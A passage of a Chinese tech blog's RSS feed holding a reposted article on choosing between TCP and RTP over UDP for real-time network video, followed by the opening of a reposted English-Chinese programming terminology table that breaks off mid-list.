界夙愿提供了技术上的可能性，而新浪、搜狐、网易等大中型网站正式通过商业合约接受万瑞数据提供的全方位服务，则标志着这一过程迈出了实质性的第一步。 </p> &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;</div><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BD%2591%25E7%25BB%259C" rel="tag">网络</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1715</link>
<title><![CDATA[转帖：数字视频网络传输层协议的选择]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[其他技术信息]]></category>
<pubDate>Sat, 01 Mar 2008 15:44:50 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1715</guid> 
<description>
<![CDATA[ 
	　　 摘要：随着视频压缩技术的日益成熟，数字视频监控产品逐渐成为了市场的主流。人们迫切希望网络技术能够成功地应用于数字视频监控领域，以使人们能够通过网 络实现异地监控。正是在这种背景下，&ldquo;基于网络的数字视频传输&rdquo;课题研究日显重要。本文围绕网络视频传输的实时性和传输质量两大重要指标，从&ldquo;解决传输层 协议问题&rdquo;入手，通过对TCP协议和RTP协议的比较，提出了&ldquo;基于UDP协议的RTP实时视频传输&rdquo;的设计思想，较好地保证了数字视频传输的实时性和服 务质量。 <br /> <br /> 　　 关键词：数字视频；网络；传输层协议 <br /> <br /> 　　 <strong>1、引言</strong><br /> <br /> 　　 数字视频传输是人们利用视觉来获取信息的一种通信方式，它较之其它信息传递方式，具有确切性、直观性及高效率等特点。由于数字视频传输的大信息量和有限的 传输带宽，使得视频的压缩编码、传输信道和网络协议的选择、IP组播技术（IP Multicast）以及基于Windows操作平台的软件实现成为了基于网络的数字视频传输应用中的关键技术。其中，传输信道和网络协议的选择至关重 要，它将直接影响到数字视频传输的实时性能和通过网络传输以后客户端接收的视频图像质量。 <br /> <br /> <p align="center"><img src="http://www.cndw.com/ShowImg.asp?p=/2006-4-18/3098402101603.jpg" border="1" /></p> <br /> 　　 图1给出了基于网络的数字视频传输的基本模型。本文将针对基于网络的数字视频传输应用中的网络传输协议的选择作以具体分析。 <br /> <br /> 　　 <strong>2、网络传输协议的选择集中在传输层</strong><br /> <br /> 　　 我们知道，ISO组织制订的OSI（Open System Interconnection）网络参考模型，将网络共分成7层结构，从下而上依次为：物理层、数据链路层、网络层、传输层、会话层、表示层及应用层。 各层的功能都相互独立，每一层所实现的功能对上面一层来说都是透明的，每一层都只关心下一层所提供的服务。 <br /> <br /> 　　 物理层的任务是透明地传输比特流，数据链路层的任务是通过各种协议，在两个相邻节点间的线路上无差错地传送以帧为单位的数据，它们的功能已经由传输介质和 网卡固化了，不能通过编程的方法进行改变，所以在编程设计时就不需要考虑这两层；网络层的任务是选择适当的路由，完成数据的打包和传送，在这一层， NetWare使用IPX协议，Unix和Windows则使用IP协议；传输层的任务是根据子网的特性最佳地利用网络资源，并以可靠和经济的方式为两端 主机建立传输连接，以透明的方式传送报文，在这一层NetWare使用SPX协议，而Windows则使用TCP/UDP协议，Unix则使用TCP协 议；会话层的任务是确定相互连接的主机之间信息的传递方式，即：全双工、半双工和单工，在局域网中一般不用考虑；表示层的任务是进行传输数据格式化和代码 转换，一般用于异种机之间的通信，微机之间就不存在这些问题，所以这一层也不需要考虑；应用层的任务是确定进程之间通信的性质以满足用户的需要，它是我们 编程的任务，但无须做协议的选择。由此看来，为了保证基于网络的数字视频传输的实时性和图像的质量，传输层协议的选择是整个设计和实现的关键。 <br /> <br /> 　　 Internet在IP层之上使用了两种传输协议：一种是传输控制协议TCP（Transmission Control Protocol），它是面向连接的网络协议；另一种是用户数据报协议UDP（User Datagram Protocol），它是无连接的网络协议。图2是网络的概念分层： <br /> <br /> <p align="center"><img src="http://www.cndw.com/ShowImg.asp?p=/2006-4-18/5157302101604.jpg" border="1" /></p> <br /> 　　 在对传输层协议进行分析比较之前，我们有必要认识一下&ldquo;面向连接&rdquo;和&ldquo;无连接&rdquo;的概念。面向连接服务是电话系统服务模式的抽象，即每一次完整的数据传输都 要经过建立连接、使用连接、终止连接的过程。在数据的传输过程中，各数据分组不携带目的地址，而是使用连接号（Connect ID）。本质上，连接是一个管道，收发数据不但顺序一致，而且内容相同。TCP协议提供面向连接的虚电路服务。 <br /> <br /> 　　 无连接服务是邮政系统服务的抽象，每个分组都携带有完整的目的地址，各分组在系统中独立传送。无连接服务不能保证分组的先后顺序，不进行分组出错的恢复与重传，不保证传输的可靠性。UDP协议提供无连接的数据报服务。 <br /> <br /> 　　 <strong>3、TCP不适合实时传输视音频数据</strong><br /> <br /> 　　 IP网已被广泛使用在各种场合。其中TCP/IP协议是异种网络操作系统互连和通信的工业标准。系统构建在TCP/IP之上，可以拓宽其应用范围。但是， 单纯的TCP/IP协议已经很难适应视音频通信，特别是连续的媒体流（如视频流）通信的要求。TCP协议是面向连接的协议，被用于各种网络上提供有序可靠 数据传输的虚电路服务。它的重传机制和拥塞控制机制（Congestion Control Mechanism）都是不适合用于实时视音频传输的。 <br /> <br /> 　　 TCP/IP协议最初是为提供非实时数据业务而设计的。IP协议负责主机之间的数据传输，不进行检错和纠错。因此，经常发生数据丢失或失序现象。为保证数 据的可靠传输，人们将TCP协议用于IP数据的传输，以提高接收端的检错和纠错能力。当检测到数据包丢失或错误时，就会要求发送端重新发送，这样一来就不 可避免地引起了传输延时和耗用网络的带宽。因此传统的TCP/IP协议传输实时音频、视频数据的能力较差。当然在传输用于回放的视频和音频数据时，TCP 协议也是一种选择。如果有足够大的缓冲区、充足的网络带宽，在TCP协议上，接近实时的视音频传输也是可能的。然而，如果在丢包率较高、网络状况不好的情 况下，利用TCP协议进行视频或音频通信几乎是不可能的。 <br /> <br /> 　　 TCP和其它可靠的传输层协议如XTP不适合实时视音频传输的原因主要有以下几个方面： <br /> <br /> 　　 3．1 TCP的重传机制 <br /> <br /> 　　 我们知道，在TCP/IP协议中，当发送方发现数据丢失时，它将要求重传丢失的数据包。然而这将需要一个甚至更多的周期（根据TCP/IP的快速重传机 制，这将需要三个额外的帧延迟），这种重传对于实时性要求较高的视音频数据通信来说几乎是灾难性的，因为接收方不得不等待重传数据的到来，从而造成了延迟 和断点（音频的不连续或视频的凝固等等）。 <br /> <br /> 　　 3．2 TCP的拥塞控制机制 <br /> <br /> 　　 TCP的拥塞控制机制在探测到有数据包丢失时，它就会减小它的拥塞窗口。而另一方面，音频、视频在特定的编码方式下，产生的编码数量（即码率）是不可能突然改变的。正确的拥塞控制应该是变换音频、视频信息的编码方式，调节视频信息的帧频或图像幅面的大小等等。 <br /> <br /> 　　 3．3 TCP报文头的大小 <br /> <br /> 　　 TCP不适合于实时视音频传输的另一个缺陷是，它的报文头比UDP的报文头大。TCP的报文头为40个字节，而UDP的报文头仅为12个字节。并且，这些 可靠的传输层协议不能提供时间戳（Time Stamp）和编解码信息（Encoding Information），而这些信息恰恰是接收方（即客户端）的应用程序所需要的。因此TCP是不适合于视音频信息的实时传输的。 <br /> <br /> 　　 3．4 启动速度慢 <br /> <br /> 　　 即便是在网络运行状态良好、没有丢包的情况下，由于TCP的启动需要建立连接，因而在初始化的过程中，需要较长的时间，而在一个实时视音频传输应用中，尽量少的延迟正是我们所期望的。 <br /> <br /> 　　 由此可见，TCP协议是不适合用来传输实时视音频数据的，为了实现视音频数据的实时传输，我们需要寻求其它的途径。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;数字视频网络传输层协议的选择（2）<br /> <br /> 　　 <strong>4、RTP协议适合实时视音频传输</strong><br /> <br /> 　　 RTP（Real-Time Transport Protocol）/RTCP（Real-Time Transport Control Protocol）是一种应用型的传输层协议，它并不提供任何传输可靠性的保证和流量的拥塞控制机制。它是由IETF（Internet Engineering Task Force）为视音频的实时传输而设计的传输协议。RTP协议位于UDP协议之上，在功能上独立于下面的传输层（UDP）和网络层，但不能单独作为一个层 次存在，通常是利用低层的UDP协议对实时视音频数据进行组播（Multicast）或单播（Unicast）,从而实现多点或单点视音频数据的传输。 <br /> <br /> 　　 UDP是一种无连接的数据报投递服务，虽然没有TCP那么可靠，并且无法保证实时视音频传输业务的服务质量（QoS）,需要RTCP实时监控数据传输和服 务质量，但是，由于UDP的传输延时低于TCP，能与音频和视频流很好地匹配。因此，在实际应用中，RTP/RTCP/UDP用于音视频媒体，而TCP用 于数据和控制信令的传输。 <br /> <br /> 　　 RTP协议被设计成能够为某种特定的应用提供服务的一种协议。实际上，RTP协议的实现已经被融合到应用程序中来。RTP没有连接的概念，它既可以建立在 面向连接的底层协议上，也可以建立在面向无连接的底层协议上，因此RTP协议对传输层是独立的。RTP协议一般由两个部分组成：数据报文部分（RTP报 文）和控制报文部分（RTCP）。 <br /> <br /> 　　 RTP报文由报文头和数据部分组成。RTP头格式如图3所示，固定头报文头开始的12个字节出现在每个RTP包中，而CSRC标识列表仅出现在混合器插入时。 <br /> <br /> <p align="center"><img src="http://www.cndw.com/ShowImg.asp?p=/2006-4-18/7125602101605.jpg" border="1" /></p> <br /> 　　 通过RTP报文头的结构我们注意到：RTP报文中没有一个&ldquo;长度&rdquo;字段，这是因为RTP把数据分段的任务交给了底层的协议UDP去处理了，由UDP协议进行数据的分段，再组成若干个UDP数据包进行传输。 <br /> <br /> 　　 RTP协议是用户携带具有实时特征的数据，与之作为配套的另一个协议是RTCP协议。RTCP是RTP的控制协议，它用于监视服务质量和正在进行的与会者 会活上传递信息，它单独运行在底层协议上。根据协议规定，RTP和RTCP选用不同的网络端口号，RTP选择一个偶数位的端口号，而RTCP则选用下一个 奇数位的端口号。RTCP是由接收方向发送的报文，它负责监视网络的服务质量、通信带宽以及网上传送的信息，并将这些信息发送给发送端。RTCP包周期性 地向同一个组播网内的所有成员发送。 <br /> <br /> 　　 RTCP报文共有5类：SR（发送报告）、RR（接收报告）、SDES（源描述项）、（BYE表示标示）、APP（应用特定函数）。RTCP报文如图4所示。 <br /> <br /> <p align="center"><img src="http://www.cndw.com/ShowImg.asp?p=/2006-4-18/5066502101606.jpg" border="1" /></p> <br /> 　　 RTCP的基本做法是周期性地向会话的所有参加者进行通信，采用和数据包分配传送的相同机制来发送控制包。和RTP协议相同，RTCP协议也要求下层协议提供复用手段（如，要UDP提供不同的端口号来实现复用）。RTCP的主要功能如下： <br /> <br /> 　　 1、 数据传输的质量提供反馈，并提供QoS的检测 <br /> <br /> 　　 所有的接收方把它最近的接收情况报告给所有发送者，这些信息包括所接收到数据包的最大顺序号、丢失的包数、乱序包的数量以及用于估计传输时延的时间戳的信息。而这些信息反映了当前的网络状况，发送方在接收到这些信息后自动地调整它们的发送速率。 <br /> <br /> 　　 2、 提供不同媒体间的同步 <br /> <br /> 　　 例如，在视音频传输服务中，RTP源可能会有几种媒体（如视频和音频）需要传输，这些不同的媒体之间的同步需要依靠RTCP中包含的时钟信息和相关的RTP时间戳信息来进行同步。 <br /> <br /> 　　 3、 在会话的用户界面上显示会话参与者的标识 <br /> <br /> 　　 RTP报文中提供了SSRC字段来进行源标识，然而，进一步的会话参与者的描述是需要的。RTCP报文中的源描述（SEDS）提供了会话参与者的详尽描 述，包括姓名、住址、E-mail等，主要是为会议电视提供更体贴的支持。当然，对于多视频服务器的组播模式也提供了很好的解决方案。 <br /> <br /> 　　 我们知道，视频流和音频流在时间轴上的连续性要求网络的实时传输及高带宽，同时又允许传输中存在一定的数据错误率及数据丢失率。由于RTP本身并不具有一 种独立传输能力，它必须与低层网络协议结合才能完成数据的传输服务。又由于视频和音频在时间轴上的相关性不强，而数据的实时性要高于其可靠性，所以在 UDP之上利用RTP/RTCP协议对媒体（视频和音频）流进行封装、打包和同步，可以使数字视音频信号的网络传输延时达到最小。 <br /> <br /> 　　 通过以上对RTP及RTCP报文的详尽分析，我们可以得到这样一个结论：与TCP协议相比较，RTP协议提供了一种更适合于实时视音频信息的传输机制。 <br /> <br /> 　　 <strong>5、结束语</strong><br /> <br /> 　　 如果接收端和发送端处于同一个局域网内，由于有充分的带宽保证，在满足视频传输的实时性方面，TCP也可以有比较好的表现，TCP和基于UDP的RTP的 视频传输性能相差不大。由于在局域网内带宽不是主要矛盾，此时视频数据传输所表现出来的延时主要体现为处理延时，它是由处理机的处理能力以及采用的处理机 制所决定的。这时，基于事件处理的多线程多缓冲区机制显得更胜一筹。但是当在广域网中进行视频数据传输时，此时的传输性能极大地取决于可用的带宽，由于 TCP是面向连接的传输层协议，它的重传机制和拥塞控制机制，将使网络状况进一步恶化，从而带来灾难性的延时。同时，在这种网络环境下，通过TCP传输的 视频数据，在接收端重建、回放时，断点非常明显，体现为明显的断断续续，传输的实时性和传输质量都无法保障。相对而言，采用RTP传输的视频数据的实时性 和传输质量就要好得多。 （完）<br /><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BD%2591%25E7%25BB%259C" rel="tag">网络</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E5%258D%258F%25E8%25AE%25AE" rel="tag">协议</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1713</link>
<title><![CDATA[转帖：侯捷 中英文 及 繁简 词汇转换表]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[其他技术信息]]></category>
<pubDate>Sat, 01 Mar 2008 06:18:33 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1713</guid> 
<description>
<![CDATA[ 
	<pre>以下是侯捷个人陆续收集整理的有关於我所涉猎的领域的术语对照（英中繁简）。<br />欢迎所有朋友给我意见（任何意见）。谢谢。<br /><br />新书写作，或发表文章时，我会以此表为叁考。<br /><br />本表所列，并不表示我在写译书籍时一定会采用表内的中文术语。<br />我也可能采用英文术语。<br /><br /><br />一群性质相近同的「东西」，如果译名一贯，阅读的感觉就很好。<br />一贯性的术语，扩充性高，延伸性高，系统化高。<br />● 我喜欢「式」：<br />constructor 建构式<br />declaration 宣告式<br />definition&nbsp;&nbsp;定义式<br />destructor&nbsp;&nbsp;解构式<br />expression&nbsp;&nbsp;算式（运算式）<br />function&nbsp;&nbsp;&nbsp;&nbsp;函式<br />pattern&nbsp;&nbsp;&nbsp;&nbsp; 范式、模式、样式<br />program&nbsp;&nbsp;&nbsp;&nbsp; 程式<br />signature&nbsp;&nbsp; 标记式<br /><br />● 我喜欢「件」：（这是个弹性非常大的可组合字）<br />assembly （装）配件<br />component 组件<br />construct 构件<br />control&nbsp;&nbsp; 控件<br />event&nbsp;&nbsp;&nbsp;&nbsp; 事件<br />hardware&nbsp;&nbsp;硬件<br />object&nbsp;&nbsp;&nbsp;&nbsp;物件<br />part&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;零件、部件<br />singleton 单件<br />software&nbsp;&nbsp;软件<br />work&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;工件、机件<br /><br />● 我喜欢「器」：<br />adapter&nbsp;&nbsp; 配接器<br />allocator 配置器<br />compiler&nbsp;&nbsp;编译器<br />container 容器<br />iterator&nbsp;&nbsp;迭代器<br />linker&nbsp;&nbsp;&nbsp;&nbsp;联（连）结器<br />listener&nbsp;&nbsp;监听器<br /><br />● 我喜欢「别」：<br />class 类别<br />type&nbsp;&nbsp;型别<br /><br />● 我喜欢「化」：<br />generalized&nbsp;&nbsp;&nbsp;&nbsp;泛化<br />specialized&nbsp;&nbsp;&nbsp;&nbsp;特化<br />overloaded&nbsp;&nbsp;&nbsp;&nbsp; 多载化（重载）<br /><br />● 我喜欢「型」：<br />polymorphism&nbsp;&nbsp;多型<br />genericity&nbsp;&nbsp;&nbsp;&nbsp;泛型<br /><br />● 我喜欢「程」：<br />process&nbsp;&nbsp;&nbsp;&nbsp; 行程（or 进程，大陆用语）<br />thread&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;线程（大陆用语）<br />programming 编程<br /><br /><br />●英中繁简编程术语对照</pre> <pre>英文&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;繁体译词<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;（有些是侯捷个人喜好，普及与否难说）&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;大陆惯用术语<br />---------------------------------------------------------------------------------------<br />#define&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 定义&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;预定义<br />abstract&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;抽象的&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;抽象的<br />abstraction&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 抽象体、抽象物、抽象性&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;抽象体、抽象物、抽象性<br />access&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;存取、取用&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;存取、访问<br />access level&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;存取级别&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;访问级别<br />access function&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 存取函式&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;访问函数<br />activate&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;活化&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;激活<br />active&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;作用中的<br />adapter&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 配接器&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;适配器<br />address&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 位址&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;地址<br />address space&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 位址空间，定址空间<br />address-of operator&nbsp;&nbsp;&nbsp;&nbsp; 取址运算子&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;取地址操作符<br />aggregation&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 聚合<br />algorithm&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 演算法&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;算法<br />allocate&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;配置&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;分配<br />allocator&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; （空间）配置器&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;分配器<br />application&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 应用程式&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;应用、应用程序<br />application framework&nbsp;&nbsp; 应用程式框架、应用框架&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;应用程序框架<br />architecture&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;架构、系统架构&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;体系结构<br />argument&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;引数（传给函式的值）。叁见 parameter&nbsp;&nbsp;&nbsp;&nbsp;叁数、实质叁数、实叁、自变量<br />array&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 阵列&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;数组<br />arrow operator&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;arrow（箭头）运算子&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 箭头操作符<br />assembly&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;装配件<br />assembly language&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 组合语言&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;汇编语言<br />assert(ion)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 断言<br />assign&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;指派、指定、设值、赋值&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;赋值<br 